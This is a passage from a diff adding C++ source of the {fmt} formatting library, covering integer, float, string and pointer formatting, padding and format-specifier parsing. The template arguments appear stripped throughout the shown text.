decimal_point_impl(loc); +} + +// Compares two characters for equality. +template bool equal2(const Char* lhs, const char* rhs) { + return lhs[0] == rhs[0] && lhs[1] == rhs[1]; +} +inline bool equal2(const char* lhs, const char* rhs) { + return memcmp(lhs, rhs, 2) == 0; +} + +// Copies two characters from src to dst. +template void copy2(Char* dst, const char* src) { + *dst++ = static_cast(*src++); + *dst = static_cast(*src); +} +FMT_INLINE void copy2(char* dst, const char* src) { memcpy(dst, src, 2); } + +template struct format_decimal_result { + Iterator begin; + Iterator end; +}; + +// Formats a decimal unsigned integer value writing into out pointing to a +// buffer of specified size. The caller must ensure that the buffer is large +// enough. +template +FMT_CONSTEXPR20 format_decimal_result format_decimal(Char* out, + UInt value, + int size) { + FMT_ASSERT(size >= count_digits(value), "invalid digit count"); + out += size; + Char* end = out; + if (is_constant_evaluated()) { + while (value >= 10) { + *--out = static_cast('0' + value % 10); + value /= 10; + } + *--out = static_cast('0' + value); + return {out, end}; + } + while (value >= 100) { + // Integer division is slow so do it for a group of two digits instead + // of for every digit. The idea comes from the talk by Alexandrescu + // "Three Optimization Tips for C++". See speed-test for a comparison. + out -= 2; + copy2(out, data::digits[value % 100]); + value /= 100; + } + if (value < 10) { + *--out = static_cast('0' + value); + return {out, end}; + } + out -= 2; + copy2(out, data::digits[value]); + return {out, end}; +} + +template >::value)> +inline format_decimal_result format_decimal(Iterator out, UInt value, + int size) { + // Buffer is large enough to hold all digits (digits10 + 1). + Char buffer[digits10() + 1]; + auto end = format_decimal(buffer, value, size).end; + return {out, detail::copy_str(buffer, end, out)}; +} + +template +FMT_CONSTEXPR Char* format_uint(Char* buffer, UInt value, int num_digits, + bool upper = false) { + buffer += num_digits; + Char* end = buffer; + do { + const char* digits = upper ? "0123456789ABCDEF" : data::hex_digits; + unsigned digit = (value & ((1 << BASE_BITS) - 1)); + *--buffer = static_cast(BASE_BITS < 4 ? static_cast('0' + digit) + : digits[digit]); + } while ((value >>= BASE_BITS) != 0); + return end; +} + +template +Char* format_uint(Char* buffer, detail::fallback_uintptr n, int num_digits, + bool = false) { + auto char_digits = std::numeric_limits::digits / 4; + int start = (num_digits + char_digits - 1) / char_digits - 1; + if (int start_digits = num_digits % char_digits) { + unsigned value = n.value[start--]; + buffer = format_uint(buffer, value, start_digits); + } + for (; start >= 0; --start) { + unsigned value = n.value[start]; + buffer += char_digits; + auto p = buffer; + for (int i = 0; i < char_digits; ++i) { + unsigned digit = (value & ((1 << BASE_BITS) - 1)); + *--p = static_cast(data::hex_digits[digit]); + value >>= BASE_BITS; + } + } + return buffer; +} + +template +inline It format_uint(It out, UInt value, int num_digits, bool upper = false) { + if (auto ptr = to_pointer(out, to_unsigned(num_digits))) { + format_uint(ptr, value, num_digits, upper); + return out; + } + // Buffer should be large enough to hold all digits (digits / BASE_BITS + 1). + char buffer[num_bits() / BASE_BITS + 1]; + format_uint(buffer, value, num_digits, upper); + return detail::copy_str(buffer, buffer + num_digits, out); +} + +// A converter from UTF-8 to UTF-16. +class utf8_to_utf16 { + private: + wmemory_buffer buffer_; + + public: + FMT_API explicit utf8_to_utf16(string_view s); + operator wstring_view() const { return {&buffer_[0], size()}; } + size_t size() const { return buffer_.size() - 1; } + const wchar_t* c_str() const { return &buffer_[0]; } + std::wstring str() const { return {&buffer_[0], size()}; } +}; + +template struct null {}; + +// Workaround an array initialization issue in gcc 4.8. +template struct fill_t { + private: + enum { max_size = 4 }; + Char data_[max_size] = {Char(' '), Char(0), Char(0), Char(0)}; + unsigned char size_ = 1; + + public: + FMT_CONSTEXPR void operator=(basic_string_view s) { + auto size = s.size(); + if (size > max_size) { + FMT_THROW(format_error("invalid fill")); + return; + } + for (size_t i = 0; i < size; ++i) data_[i] = s[i]; + size_ = static_cast(size); + } + + constexpr size_t size() const { return size_; } + constexpr const Char* data() const { return data_; } + + FMT_CONSTEXPR Char& operator[](size_t index) { return data_[index]; } + FMT_CONSTEXPR const Char& operator[](size_t index) const { + return data_[index]; + } +}; +} // namespace detail + +// We cannot use enum classes as bit fields because of a gcc bug +// https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61414. +namespace align { +enum type { none, left, right, center, numeric }; +} +using align_t = align::type; + +namespace sign { +enum type { none, minus, plus, space }; +} +using sign_t = sign::type; + +// Format specifiers for built-in and string types. +template struct basic_format_specs { + int width; + int precision; + char type; + align_t align : 4; + sign_t sign : 3; + bool alt : 1; // Alternate form ('#'). + bool localized : 1; + detail::fill_t fill; + + constexpr basic_format_specs() + : width(0), + precision(-1), + type(0), + align(align::none), + sign(sign::none), + alt(false), + localized(false) {} +}; + +using format_specs = basic_format_specs; + +namespace detail { +namespace dragonbox { + +// Type-specific information that Dragonbox uses. +template struct float_info; + +template <> struct float_info { + using carrier_uint = uint32_t; + static const int significand_bits = 23; + static const int exponent_bits = 8; + static const int min_exponent = -126; + static const int max_exponent = 127; + static const int exponent_bias = -127; + static const int decimal_digits = 9; + static const int kappa = 1; + static const int big_divisor = 100; + static const int small_divisor = 10; + static const int min_k = -31; + static const int max_k = 46; + static const int cache_bits = 64; + static const int divisibility_check_by_5_threshold = 39; + static const int case_fc_pm_half_lower_threshold = -1; + static const int case_fc_pm_half_upper_threshold = 6; + static const int case_fc_lower_threshold = -2; + static const int case_fc_upper_threshold = 6; + static const int case_shorter_interval_left_endpoint_lower_threshold = 2; + static const int case_shorter_interval_left_endpoint_upper_threshold = 3; + static const int shorter_interval_tie_lower_threshold = -35; + static const int shorter_interval_tie_upper_threshold = -35; + static const int max_trailing_zeros = 7; +}; + +template <> struct float_info { + using carrier_uint = uint64_t; + static const int significand_bits = 52; + static const int exponent_bits = 11; + static const int min_exponent = -1022; + static const int max_exponent = 1023; + static const int exponent_bias = -1023; + static const int decimal_digits = 17; + static const int kappa = 2; + static const int big_divisor = 1000; + static const int small_divisor = 100; + static const int min_k = -292; + static const int max_k = 326; + static const int cache_bits = 128; + static const int divisibility_check_by_5_threshold = 86; + static const int case_fc_pm_half_lower_threshold = -2; + static const int case_fc_pm_half_upper_threshold = 9; + static const int case_fc_lower_threshold = -4; + static const int case_fc_upper_threshold = 9; + static const int case_shorter_interval_left_endpoint_lower_threshold = 2; + static const int case_shorter_interval_left_endpoint_upper_threshold = 3; + static const int shorter_interval_tie_lower_threshold = -77; + static const int shorter_interval_tie_upper_threshold = -77; + static const int max_trailing_zeros = 16; +}; + +template struct decimal_fp { + using significand_type = typename float_info::carrier_uint; + significand_type significand; + int exponent; +}; + +template FMT_API decimal_fp to_decimal(T x) FMT_NOEXCEPT; +} // namespace dragonbox + +template +constexpr typename dragonbox::float_info::carrier_uint exponent_mask() { + using uint = typename dragonbox::float_info::carrier_uint; + return ((uint(1) << dragonbox::float_info::exponent_bits) - 1) + << dragonbox::float_info::significand_bits; +} + +// A floating-point presentation format. +enum class float_format : unsigned char { + general, // General: exponent notation or fixed point based on magnitude. + exp, // Exponent notation with the default precision of 6, e.g. 1.2e-3. + fixed, // Fixed point with the default precision of 6, e.g. 0.0012. + hex +}; + +struct float_specs { + int precision; + float_format format : 8; + sign_t sign : 8; + bool upper : 1; + bool locale : 1; + bool binary32 : 1; + bool use_grisu : 1; + bool showpoint : 1; +}; + +// Writes the exponent exp in the form "[+-]d{2,3}" to buffer. +template It write_exponent(int exp, It it) { + FMT_ASSERT(-10000 < exp && exp < 10000, "exponent out of range"); + if (exp < 0) { + *it++ = static_cast('-'); + exp = -exp; + } else { + *it++ = static_cast('+'); + } + if (exp >= 100) { + const char* top = data::digits[exp / 100]; + if (exp >= 1000) *it++ = static_cast(top[0]); + *it++ = static_cast(top[1]); + exp %= 100; + } + const char* d = data::digits[exp]; + *it++ = static_cast(d[0]); + *it++ = static_cast(d[1]); + return it; +} + +template +int format_float(T value, int precision, float_specs specs, buffer& buf); + +// Formats a floating-point number with snprintf. +template +int snprintf_float(T value, int precision, float_specs specs, + buffer& buf); + +template T promote_float(T value) { return value; } +inline double promote_float(float value) { return static_cast(value); } + +template +FMT_CONSTEXPR float_specs parse_float_type_spec( + const basic_format_specs& specs, ErrorHandler&& eh = {}) { + auto result = float_specs(); + result.showpoint = specs.alt; + result.locale = specs.localized; + switch (specs.type) { + case 0: + result.format = float_format::general; + break; + case 'G': + result.upper = true; + FMT_FALLTHROUGH; + case 'g': + result.format = float_format::general; + break; + case 'E': + result.upper = true; + FMT_FALLTHROUGH; + case 'e': + result.format = float_format::exp; + result.showpoint |= specs.precision != 0; + break; + case 'F': + result.upper = true; + FMT_FALLTHROUGH; + case 'f': + result.format = float_format::fixed; + result.showpoint |= specs.precision != 0; + break; + case 'A': + result.upper = true; + FMT_FALLTHROUGH; + case 'a': + result.format = float_format::hex; + break; +#ifdef FMT_DEPRECATED_N_SPECIFIER + case 'n': + result.locale = true; + break; +#endif + default: + eh.on_error("invalid type specifier"); + break; + } + return result; +} + +template +FMT_CONSTEXPR void check_int_type_spec(char spec, ErrorHandler&& eh) { + switch (spec) { + case 0: + case 'd': + case 'x': + case 'X': + case 'b': + case 'B': + case 'o': +#ifdef FMT_DEPRECATED_N_SPECIFIER + case 'n': +#endif + case 'c': + break; + default: + eh.on_error("invalid type specifier"); + break; + } +} + +template +FMT_CONSTEXPR void handle_char_specs(const basic_format_specs& specs, + Handler&& handler) { + if (specs.type && specs.type != 'c') return handler.on_int(); + if (specs.align == align::numeric || specs.sign != sign::none || specs.alt) + handler.on_error("invalid format specifier for char"); + handler.on_char(); +} + +template +FMT_CONSTEXPR void handle_cstring_type_spec(Char spec, Handler&& handler) { + if (spec == 0 || spec == 's') + handler.on_string(); + else if (spec == 'p') + handler.on_pointer(); + else + handler.on_error("invalid type specifier"); +} + +template +FMT_CONSTEXPR void check_string_type_spec(Char spec, ErrorHandler&& eh) { + if (spec != 0 && spec != 's') eh.on_error("invalid type specifier"); +} + +template +FMT_CONSTEXPR void check_pointer_type_spec(Char spec, ErrorHandler&& eh) { + if (spec != 0 && spec != 'p') eh.on_error("invalid type specifier"); +} + +template +class char_specs_checker : public ErrorHandler { + private: + char type_; + + public: + FMT_CONSTEXPR char_specs_checker(char type, ErrorHandler eh) + : ErrorHandler(eh), type_(type) {} + + FMT_CONSTEXPR void on_int() { check_int_type_spec(type_, *this); } + FMT_CONSTEXPR void on_char() {} +}; + +template +class cstring_type_checker : public ErrorHandler { + public: + FMT_CONSTEXPR explicit cstring_type_checker(ErrorHandler eh) + : ErrorHandler(eh) {} + + FMT_CONSTEXPR void on_string() {} + FMT_CONSTEXPR void on_pointer() {} +}; + +template +FMT_NOINLINE FMT_CONSTEXPR OutputIt fill(OutputIt it, size_t n, + const fill_t& fill) { + auto fill_size = fill.size(); + if (fill_size == 1) return detail::fill_n(it, n, fill[0]); + auto data = fill.data(); + for (size_t i = 0; i < n; ++i) + it = copy_str(data, data + fill_size, it); + return it; +} + +// Writes the output of f, padded according to format specifications in specs. +// size: output size in code units. +// width: output display width in (terminal) column positions. +template +FMT_CONSTEXPR OutputIt write_padded(OutputIt out, + const basic_format_specs& specs, + size_t size, size_t width, F&& f) { + static_assert(align == align::left || align == align::right, ""); + unsigned spec_width = to_unsigned(specs.width); + size_t padding = spec_width > width ? spec_width - width : 0; + auto* shifts = align == align::left ? data::left_padding_shifts + : data::right_padding_shifts; + size_t left_padding = padding >> shifts[specs.align]; + size_t right_padding = padding - left_padding; + auto it = reserve(out, size + padding * specs.fill.size()); + if (left_padding != 0) it = fill(it, left_padding, specs.fill); + it = f(it); + if (right_padding != 0) it = fill(it, right_padding, specs.fill); + return base_iterator(out, it); +} + +template +constexpr OutputIt write_padded(OutputIt out, + const basic_format_specs& specs, + size_t size, F&& f) { + return write_padded(out, specs, size, size, f); +} + +template +OutputIt write_bytes(OutputIt out, string_view bytes, + const basic_format_specs& specs) { + return write_padded(out, specs, bytes.size(), + [bytes](reserve_iterator it) { + const char* data = bytes.data(); + return copy_str(data, data + bytes.size(), it); + }); +} + +template +constexpr OutputIt write_char(OutputIt out, Char value, + const basic_format_specs& specs) { + return write_padded(out, specs, 1, [=](reserve_iterator it) { + *it++ = value; + return it; + }); +} + +// Data for write_int that doesn't depend on output iterator type. It is used to +// avoid template code bloat. +template struct write_int_data { + size_t size; + size_t padding; + + FMT_CONSTEXPR write_int_data(int num_digits, unsigned prefix, + const basic_format_specs& specs) + : size((prefix >> 24) + to_unsigned(num_digits)), padding(0) { + if (specs.align == align::numeric) { + auto width = to_unsigned(specs.width); + if (width > size) { + padding = width - size; + size = width; + } + } else if (specs.precision > num_digits) { + size = (prefix >> 24) + to_unsigned(specs.precision); + padding = to_unsigned(specs.precision - num_digits); + } + } +}; + +// Writes an integer in the format +// +// where are written by write_digits(it). +// prefix contains chars in three lower bytes and the size in the fourth byte. +template +FMT_CONSTEXPR FMT_INLINE OutputIt +write_int(OutputIt out, int num_digits, unsigned prefix, + const basic_format_specs& specs, W write_digits) { + // Slightly faster check for specs.width == 0 && specs.precision == -1. + if ((specs.width | (specs.precision + 1)) == 0) { + auto it = reserve(out, to_unsigned(num_digits) + (prefix >> 24)); + if (prefix != 0) { + for (unsigned p = prefix & 0xffffff; p != 0; p >>= 8) + *it++ = static_cast(p & 0xff); + } + return base_iterator(out, write_digits(it)); + } + auto data = write_int_data(num_digits, prefix, specs); + return write_padded( + out, specs, data.size, [=](reserve_iterator it) { + for (unsigned p = prefix & 0xffffff; p != 0; p >>= 8) + *it++ = static_cast(p & 0xff); + it = detail::fill_n(it, data.padding, static_cast('0')); + return write_digits(it); + }); +} + +template +bool write_int_localized(OutputIt& out, UInt value, unsigned prefix, + const basic_format_specs& specs, + locale_ref loc) { + static_assert(std::is_same, UInt>::value, ""); + const auto sep_size = 1; + std::string groups = grouping(loc); + if (groups.empty()) return false; + auto sep = thousands_sep(loc); + if (!sep) return false; + int num_digits = count_digits(value); + int size = num_digits, n = num_digits; + std::string::const_iterator group = groups.cbegin(); + while (group != groups.cend() && n > *group && *group > 0 && + *group != max_value()) { + size += sep_size; + n -= *group; + ++group; + } + if (group == groups.cend()) size += sep_size * ((n - 1) / groups.back()); + char digits[40]; + format_decimal(digits, value, num_digits); + basic_memory_buffer buffer; + if (prefix != 0) ++size; + const auto usize = to_unsigned(size); + buffer.resize(usize); + basic_string_view s(&sep, sep_size); + // Index of a decimal digit with the least significant digit having index 0. + int digit_index = 0; + group = groups.cbegin(); + auto p = buffer.data() + size - 1; + for (int i = num_digits - 1; i > 0; --i) { + *p-- = static_cast(digits[i]); + if (*group <= 0 || ++digit_index % *group != 0 || + *group == max_value()) + continue; + if (group + 1 != groups.cend()) { + digit_index = 0; + ++group; + } + std::uninitialized_copy(s.data(), s.data() + s.size(), + make_checked(p, s.size())); + p -= s.size(); + } + *p-- = static_cast(*digits); + if (prefix != 0) *p = static_cast(prefix); + auto data = buffer.data(); + out = write_padded( + out, specs, usize, usize, [=](reserve_iterator it) { + return copy_str(data, data + size, it); + }); + return true; +} + +FMT_CONSTEXPR inline void prefix_append(unsigned& prefix, unsigned value) { + prefix |= prefix != 0 ? value << 8 : value; + prefix += (1u + (value > 0xff ? 1 : 0)) << 24; +} + +template +FMT_CONSTEXPR OutputIt write_int(OutputIt out, T value, + const basic_format_specs& specs, + locale_ref loc) { + auto prefix = 0u; + auto abs_value = static_cast>(value); + if (is_negative(value)) { + prefix = 0x01000000 | '-'; + abs_value = 0 - abs_value; + } else { + prefix = data::prefixes[specs.sign]; + } + auto utype = static_cast(specs.type); + switch (specs.type) { + case 0: + case 'd': { + if (specs.localized && + write_int_localized(out, static_cast>(abs_value), + prefix, specs, loc)) { + return out; + } + auto num_digits = count_digits(abs_value); + return write_int( + out, num_digits, prefix, specs, [=](reserve_iterator it) { + return format_decimal(it, abs_value, num_digits).end; + }); + } + case 'x': + case 'X': { + if (specs.alt) prefix_append(prefix, (utype << 8) | '0'); + bool upper = specs.type != 'x'; + int num_digits = count_digits<4>(abs_value); + return write_int( + out, num_digits, prefix, specs, [=](reserve_iterator it) { + return format_uint<4, Char>(it, abs_value, num_digits, upper); + }); + } + case 'b': + case 'B': { + if (specs.alt) prefix_append(prefix, (utype << 8) | '0'); + int num_digits = count_digits<1>(abs_value); + return write_int(out, num_digits, prefix, specs, + [=](reserve_iterator it) { + return format_uint<1, Char>(it, abs_value, num_digits); + }); + } + case 'o': { + int num_digits = count_digits<3>(abs_value); + if (specs.alt && specs.precision <= num_digits && abs_value != 0) { + // Octal prefix '0' is counted as a digit, so only add it if precision + // is not greater than the number of digits. + prefix_append(prefix, '0'); + } + return write_int(out, num_digits, prefix, specs, + [=](reserve_iterator it) { + return format_uint<3, Char>(it, abs_value, num_digits); + }); + } +#ifdef FMT_DEPRECATED_N_SPECIFIER + case 'n': + return write_int_localized(out, abs_value, prefix, specs, loc); +#endif + case 'c': + return write_char(out, static_cast(abs_value), specs); + default: + FMT_THROW(format_error("invalid type specifier")); + } + return out; +} + +template +FMT_CONSTEXPR OutputIt write(OutputIt out, basic_string_view s, + const basic_format_specs& specs) { + auto data = s.data(); + auto size = s.size(); + if (specs.precision >= 0 && to_unsigned(specs.precision) < size) + size = code_point_index(s, to_unsigned(specs.precision)); + auto width = specs.width != 0 + ? compute_width(basic_string_view(data, size)) + : 0; + return write_padded(out, specs, size, width, + [=](reserve_iterator it) { + return copy_str(data, data + size, it); + }); +} + +template +OutputIt write_nonfinite(OutputIt out, bool isinf, + const basic_format_specs& specs, + const float_specs& fspecs) { + auto str = + isinf ? (fspecs.upper ? "INF" : "inf") : (fspecs.upper ? "NAN" : "nan"); + constexpr size_t str_size = 3; + auto sign = fspecs.sign; + auto size = str_size + (sign ? 1 : 0); + return write_padded(out, specs, size, [=](reserve_iterator it) { + if (sign) *it++ = static_cast(data::signs[sign]); + return copy_str(str, str + str_size, it); + }); +} + +// A decimal floating-point number significand * pow(10, exp). +struct big_decimal_fp { + const char* significand; + int significand_size; + int exponent; +}; + +inline int get_significand_size(const big_decimal_fp& fp) { + return fp.significand_size; +} +template +inline int get_significand_size(const dragonbox::decimal_fp& fp) { + return count_digits(fp.significand); +} + +template +inline OutputIt write_significand(OutputIt out, const char* significand, + int& significand_size) { + return copy_str(significand, significand + significand_size, out); +} +template +inline OutputIt write_significand(OutputIt out, UInt significand, + int significand_size) { + return format_decimal(out, significand, significand_size).end; +} + +template ::value)> +inline Char* write_significand(Char* out, UInt significand, + int significand_size, int integral_size, + Char decimal_point) { + if (!decimal_point) + return format_decimal(out, significand, significand_size).end; + auto end = format_decimal(out + 1, significand, significand_size).end; + if (integral_size == 1) + out[0] = out[1]; + else + std::uninitialized_copy_n(out + 1, integral_size, out); + out[integral_size] = decimal_point; + return end; +} + +template >::value)> +inline OutputIt write_significand(OutputIt out, UInt significand, + int significand_size, int integral_size, + Char decimal_point) { + // Buffer is large enough to hold digits (digits10 + 1) and a decimal point. + Char buffer[digits10() + 2]; + auto end = write_significand(buffer, significand, significand_size, + integral_size, decimal_point); + return detail::copy_str(buffer, end, out); +} + +template +inline OutputIt write_significand(OutputIt out, const char* significand, + int significand_size, int integral_size, + Char decimal_point) { + out = detail::copy_str(significand, significand + integral_size, out); + if (!decimal_point) return out; + *out++ = decimal_point; + return detail::copy_str(significand + integral_size, + significand + significand_size, out); +} + +template +OutputIt write_float(OutputIt out, const DecimalFP& fp, + const basic_format_specs& specs, float_specs fspecs, + Char decimal_point) { + auto significand = fp.significand; + int significand_size = get_significand_size(fp); + static const Char zero = static_cast('0'); + auto sign = fspecs.sign; + size_t size = to_unsigned(significand_size) + (sign ? 1 : 0); + using iterator = reserve_iterator; + + int output_exp = fp.exponent + significand_size - 1; + auto use_exp_format = [=]() { + if (fspecs.format == float_format::exp) return true; + if (fspecs.format != float_format::general) return false; + // Use the fixed notation if the exponent is in [exp_lower, exp_upper), + // e.g. 0.0001 instead of 1e-04. Otherwise use the exponent notation. + const int exp_lower = -4, exp_upper = 16; + return output_exp < exp_lower || + output_exp >= (fspecs.precision > 0 ? fspecs.precision : exp_upper); + }; + if (use_exp_format()) { + int num_zeros = 0; + if (fspecs.showpoint) { + num_zeros = fspecs.precision - significand_size; + if (num_zeros < 0) num_zeros = 0; + size += to_unsigned(num_zeros); + } else if (significand_size == 1) { + decimal_point = Char(); + } + auto abs_output_exp = output_exp >= 0 ? output_exp : -output_exp; + int exp_digits = 2; + if (abs_output_exp >= 100) exp_digits = abs_output_exp >= 1000 ? 4 : 3; + + size += to_unsigned((decimal_point ? 1 : 0) + 2 + exp_digits); + char exp_char = fspecs.upper ? 'E' : 'e'; + auto write = [=](iterator it) { + if (sign) *it++ = static_cast(data::signs[sign]); + // Insert a decimal point after the first digit and add an exponent. + it = write_significand(it, significand, significand_size, 1, + decimal_point); + if (num_zeros > 0) it = detail::fill_n(it, num_zeros, zero); + *it++ = static_cast(exp_char); + return write_exponent(output_exp, it); + }; + return specs.width > 0 ? write_padded(out, specs, size, write) + : base_iterator(out, write(reserve(out, size))); + } + + int exp = fp.exponent + significand_size; + if (fp.exponent >= 0) { + // 1234e5 -> 123400000[.0+] + size += to_unsigned(fp.exponent); + int num_zeros = fspecs.precision - exp; +#ifdef FMT_FUZZ + if (num_zeros > 5000) + throw std::runtime_error("fuzz mode - avoiding excessive cpu use"); +#endif + if (fspecs.showpoint) { + if (num_zeros <= 0 && fspecs.format != float_format::fixed) num_zeros = 1; + if (num_zeros > 0) size += to_unsigned(num_zeros) + 1; + } + return write_padded(out, specs, size, [&](iterator it) { + if (sign) *it++ = static_cast(data::signs[sign]); + it = write_significand(it, significand, significand_size); + it = detail::fill_n(it, fp.exponent, zero); + if (!fspecs.showpoint) return it; + *it++ = decimal_point; + return num_zeros > 0 ? detail::fill_n(it, num_zeros, zero) : it; + }); + } else if (exp > 0) { + // 1234e-2 -> 12.34[0+] + int num_zeros = fspecs.showpoint ? fspecs.precision - significand_size : 0; + size += 1 + to_unsigned(num_zeros > 0 ? num_zeros : 0); + return write_padded(out, specs, size, [&](iterator it) { + if (sign) *it++ = static_cast(data::signs[sign]); + it = write_significand(it, significand, significand_size, exp, + decimal_point); + return num_zeros > 0 ? detail::fill_n(it, num_zeros, zero) : it; + }); + } + // 1234e-6 -> 0.001234 + int num_zeros = -exp; + if (significand_size == 0 && fspecs.precision >= 0 && + fspecs.precision < num_zeros) { + num_zeros = fspecs.precision; + } + bool pointy = num_zeros != 0 || significand_size != 0 || fspecs.showpoint; + size += 1 + (pointy ? 1 : 0) + to_unsigned(num_zeros); + return write_padded(out, specs, size, [&](iterator it) { + if (sign) *it++ = static_cast(data::signs[sign]); + *it++ = zero; + if (!pointy) return it; + *it++ = decimal_point; + it = detail::fill_n(it, num_zeros, zero); + return write_significand(it, significand, significand_size); + }); +} + +template ::value)> +OutputIt write(OutputIt out, T value, basic_format_specs specs, + locale_ref loc = {}) { + if (const_check(!is_supported_floating_point(value))) return out; + float_specs fspecs = parse_float_type_spec(specs); + fspecs.sign = specs.sign; + if (std::signbit(value)) { // value < 0 is false for NaN so use signbit. + fspecs.sign = sign::minus; + value = -value; + } else if (fspecs.sign == sign::minus) { + fspecs.sign = sign::none; + } + + if (!std::isfinite(value)) + return write_nonfinite(out, std::isinf(value), specs, fspecs); + + if (specs.align == align::numeric && fspecs.sign) { + auto it = reserve(out, 1); + *it++ = static_cast(data::signs[fspecs.sign]); + out = base_iterator(out, it); + fspecs.sign = sign::none; + if (specs.width != 0) --specs.width; + } + + memory_buffer buffer; + if (fspecs.format == float_format::hex) { + if (fspecs.sign) buffer.push_back(data::signs[fspecs.sign]); + snprintf_float(promote_float(value), specs.precision, fspecs, buffer); + return write_bytes(out, {buffer.data(), buffer.size()}, specs); + } + int precision = specs.precision >= 0 || !specs.type ? specs.precision : 6; + if (fspecs.format == float_format::exp) { + if (precision == max_value()) + FMT_THROW(format_error("number is too big")); + else + ++precision; + } + if (const_check(std::is_same())) fspecs.binary32 = true; + fspecs.use_grisu = is_fast_float(); + int exp = format_float(promote_float(value), precision, fspecs, buffer); + fspecs.precision = precision; + Char point = + fspecs.locale ? decimal_point(loc) : static_cast('.'); + auto fp = big_decimal_fp{buffer.data(), static_cast(buffer.size()), exp}; + return write_float(out, fp, specs, fspecs, point); +} + +template ::value)> +OutputIt write(OutputIt out, T value) { + if (const_check(!is_supported_floating_point(value))) return out; + + using floaty = conditional_t::value, double, T>; + using uint = typename dragonbox::float_info::carrier_uint; + auto bits = bit_cast(value); + + auto fspecs = float_specs(); + auto sign_bit = bits & (uint(1) << (num_bits() - 1)); + if (sign_bit != 0) { + fspecs.sign = sign::minus; + value = -value; + } + + static const auto specs = basic_format_specs(); + uint mask = exponent_mask(); + if ((bits & mask) == mask) + return write_nonfinite(out, std::isinf(value), specs, fspecs); + + auto dec = dragonbox::to_decimal(static_cast(value)); + return write_float(out, dec, specs, fspecs, static_cast('.')); +} + +template ::value && + !is_fast_float::value)> +inline OutputIt write(OutputIt out, T value) { + return write(out, value, basic_format_specs()); +} + +template +OutputIt write_ptr(OutputIt out, UIntPtr value, + const basic_format_specs* specs) { + int num_digits = count_digits<4>(value); + auto size = to_unsigned(num_digits) + size_t(2); + auto write = [=](reserve_iterator it) { + *it++ = static_cast('0'); + *it++ = static_cast('x'); + return format_uint<4, Char>(it, value, num_digits); + }; + return specs ? write_padded(out, *specs, size, write) + : base_iterator(out, write(reserve(out, size))); +} + +template struct is_integral : std::is_integral {}; +template <> struct is_integral : std::true_type {}; +template <> struct is_integral : std::true_type {}; + +template +OutputIt write(OutputIt out, monostate) { + FMT_ASSERT(false, ""); + return out; +} + +template ::value)> +OutputIt write(OutputIt out, string_view value) { + auto it = reserve(out, value.size()); + it = copy_str(value.begin(), value.end(), it); + return base_iterator(out, it); +} + +template +FMT_CONSTEXPR OutputIt write(OutputIt out, basic_string_view value) { + auto it = reserve(out, value.size()); + it = copy_str(value.begin(), value.end(), it); + return base_iterator(out, it); +} + +template ::value)> +constexpr OutputIt write(OutputIt out, const T& value) { + return write(out, to_string_view(value)); +} + +template ::value && + !std::is_same::value && + !std::is_same::value)> +FMT_CONSTEXPR OutputIt write(OutputIt out, T value) { + auto abs_value = static_cast>(value); + bool negative = is_negative(value); + // Don't do -abs_value since it trips unsigned-integer-overflow sanitizer. + if (negative) abs_value = ~abs_value + 1; + int num_digits = count_digits(abs_value); + auto size = (negative ? 1 : 0) + static_cast(num_digits); + auto it = reserve(out, size); + if (auto ptr = to_pointer(it, size)) { + if (negative) *ptr++ = static_cast('-'); + format_decimal(ptr, abs_value, num_digits); + return out; + } + if (negative) *it++ = static_cast('-'); + it = format_decimal(it, abs_value, num_digits).end; + return base_iterator(out, it); +} + +// FMT_ENABLE_IF() condition separated to workaround MSVC bug +template < + typename Char, typename OutputIt, typename T, + bool check = + std::is_enum::value && !std::is_same::value && + mapped_type_constant>::value != + type::custom_type, + FMT_ENABLE_IF(check)> +FMT_CONSTEXPR OutputIt write(OutputIt out, T value) { + return write( + out, static_cast::type>(value)); +} + +template +constexpr OutputIt write(OutputIt out, bool value) { + return write(out, string_view(value ? "true" : "false")); +} + +template +FMT_CONSTEXPR OutputIt write(OutputIt out, Char value) { + auto it = reserve(out, 1); + *it++ = value; + return base_iterator(out, it); +} + +template +FMT_CONSTEXPR OutputIt write(OutputIt out, const Char* value) { + if (!value) { + FMT_THROW(format_error("string pointer is null")); + } else { + auto length = std::char_traits::length(value); + out = write(out, basic_string_view(value, length)); + } + return out; +} + +template +OutputIt write(OutputIt out, const void* value) { + return write_ptr(out, to_uintptr(value), nullptr); +} + +template +auto write(OutputIt out, const T& value) -> typename std::enable_if< + mapped_type_constant>::value == + type::custom_type, + OutputIt>::type { + using context_type = basic_format_context; + using formatter_type = + conditional_t::value, + typename context_type::template formatter_type, + fallback_formatter>; + context_type ctx(out, {}, {}); + return formatter_type().format(value, ctx); +} + +// An argument visitor that formats the argument and writes it via the output +// iterator. It's a class and not a generic lambda for compatibility with C++11. +template struct default_arg_formatter { + using context = basic_format_context; + + OutputIt out; + basic_format_args args; + locale_ref loc; + + template OutputIt operator()(T value) { + return write(out, value); + } + + OutputIt operator()(typename basic_format_arg::handle handle) { + basic_format_parse_context parse_ctx({}); + basic_format_context format_ctx(out, args, loc); + handle.format(parse_ctx, format_ctx); + return format_ctx.out(); + } +}; + +template +class arg_formatter_base { + public: + using iterator = OutputIt; + using char_type = Char; + using format_specs = basic_format_specs; + + private: + iterator out_; + const format_specs& specs_; + locale_ref locale_; + + // Attempts to reserve space for n extra characters in the output range. + // Returns a pointer to the reserved range or a reference to out_. + auto reserve(size_t n) -> decltype(detail::reserve(out_, n)) { + return detail::reserve(out_, n); + } + + void write(char value) { + auto&& it = reserve(1); + *it++ = value; + } + + template ::value)> + void write(Ch value) { + out_ = detail::write(out_, value); + } + + void write(string_view value) { + auto&& it = reserve(value.size()); + it = copy_str(value.begin(), value.end(), it); + } + void write(wstring_view value) { + static_assert(std::is_same::value, ""); + auto&& it = reserve(value.size()); + it = copy_str(value.begin(), value.end(), it); + } + + template + void write(const Ch* s, size_t size, const format_specs& specs) { + auto width = + specs.width != 0 ? compute_width(basic_string_view(s, size)) : 0; + out_ = write_padded(out_, specs, size, width, + [=](reserve_iterator it) { + return copy_str(s, s + size, it); + }); + } + + template + FMT_CONSTEXPR void write(basic_string_view s, + const format_specs& specs = {}) { + out_ = detail::write(out_, s, specs); + } + + void write_pointer(const void* p) { + out_ = write_ptr(out_, to_uintptr(p), &specs_); + } + + struct char_spec_handler : ErrorHandler { + arg_formatter_base& formatter; + Char value; + + constexpr char_spec_handler(arg_formatter_base& f, Char val) + : formatter(f), value(val) {} + + FMT_CONSTEXPR void on_int() { + // char is only formatted as int if there are specs. + formatter.out_ = + detail::write_int(formatter.out_, static_cast(value), + formatter.specs_, formatter.locale_); + } + FMT_CONSTEXPR void on_char() { + formatter.out_ = 